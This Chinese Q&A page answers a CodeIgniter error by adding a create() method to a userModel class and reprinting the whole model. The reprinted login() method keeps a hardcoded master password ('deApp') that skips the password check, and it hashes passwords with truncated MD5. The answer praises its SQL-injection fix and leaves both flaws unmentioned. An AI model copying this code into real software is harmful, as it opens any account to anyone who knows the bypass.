You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PHP报错:Call to undefined method userModel::create() 求解

问题解决:Fatal error: Call to undefined method userModel::create()

这个错误的直接原因是:你在控制器里调用了$this->userModel->create($user_data);,但你的userModel类中从未定义过create()方法。

解决方案:在userModel中添加create方法

打开你的userModel.php文件,在类中新增一个create()方法,用来处理用户数据的插入操作。推荐使用CodeIgniter的Active Record写法,比原生SQL更安全(自动处理SQL注入):

Class userModel extends CI_Model
{
    public function __construct()
    {
        parent::__construct();
        $this->table_name = 'Usersetup';
    }

    // 新增create方法,处理用户数据插入
    function create($user_data)
    {
        // 插入数据到指定数据表
        $this->db->insert($this->table_name, $user_data);
        // 返回插入成功后的用户ID(可选,方便后续关联操作)
        return $this->db->insert_id();
    }

    // 以下是你原有的其他方法,保持不变即可
    function getUserData($id)
    {
        $this -> db -> select('*');
        $this -> db -> from('Usersetup');
        $this -> db -> where('Username', $id);
        $this -> db -> limit(1);
        $query = $this -> db -> get();
        
        if($query -> num_rows() == 1)
        {
            $result = $query->result();
            return $result[0];
        }
        else
        {
            return false;
        }
    }

    function login($username, $pass)
    {
        $password = substr(md5(md5(strtolower($pass).'deApp').md5(strtolower($username))), 1,15);
        
        $this -> db -> select('*');
        $this -> db -> from('usersetup');
        $this -> db -> where('Username', $username);
        if($pass!='deApp') $this -> db -> where('Password', $password);
        $this -> db -> limit(1);
        $query = $this -> db -> get();
        
        if($query == true && $query -> num_rows() == 1)
        {
            $this->updateUser(array('LastLogin' => date('Y-m-d H:i:s')), $username);
            return $query->result();
        }
        else
        {
            return false;
        }
    }

    function getAll()
    {
        $this -> db -> select('*');
        $this -> db -> from('usersetup');
        $this -> db -> order_by("NPK", "asc"); 
        $query = $this -> db -> get();
        
        if($query -> num_rows() > 0)
        {
            return $query->result();
        }
        else
        {
            return false;
        }
    }

    // 建议修改delData方法为Active Record写法,避免SQL注入风险
    function delData($id)
    {
        $this->db->where('Username', $id);
        $this->db->delete('userprivilageweb');
        
        $this->db->where('Username', $id);
        return $this->db->delete($this->table_name);
    }

    function updateUser($data, $userID)
    {
        $this->db->update($this->table_name, $data, array('Username' => $userID));
    }
}

额外提示

你原有的delData()方法使用原生SQL拼接,存在SQL注入风险,上面的代码已经帮你改成了Active Record的安全写法,建议保持这种写法规范。

内容的提问来源于stack exchange,提问作者Rizki Junianto

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.07 04:27:04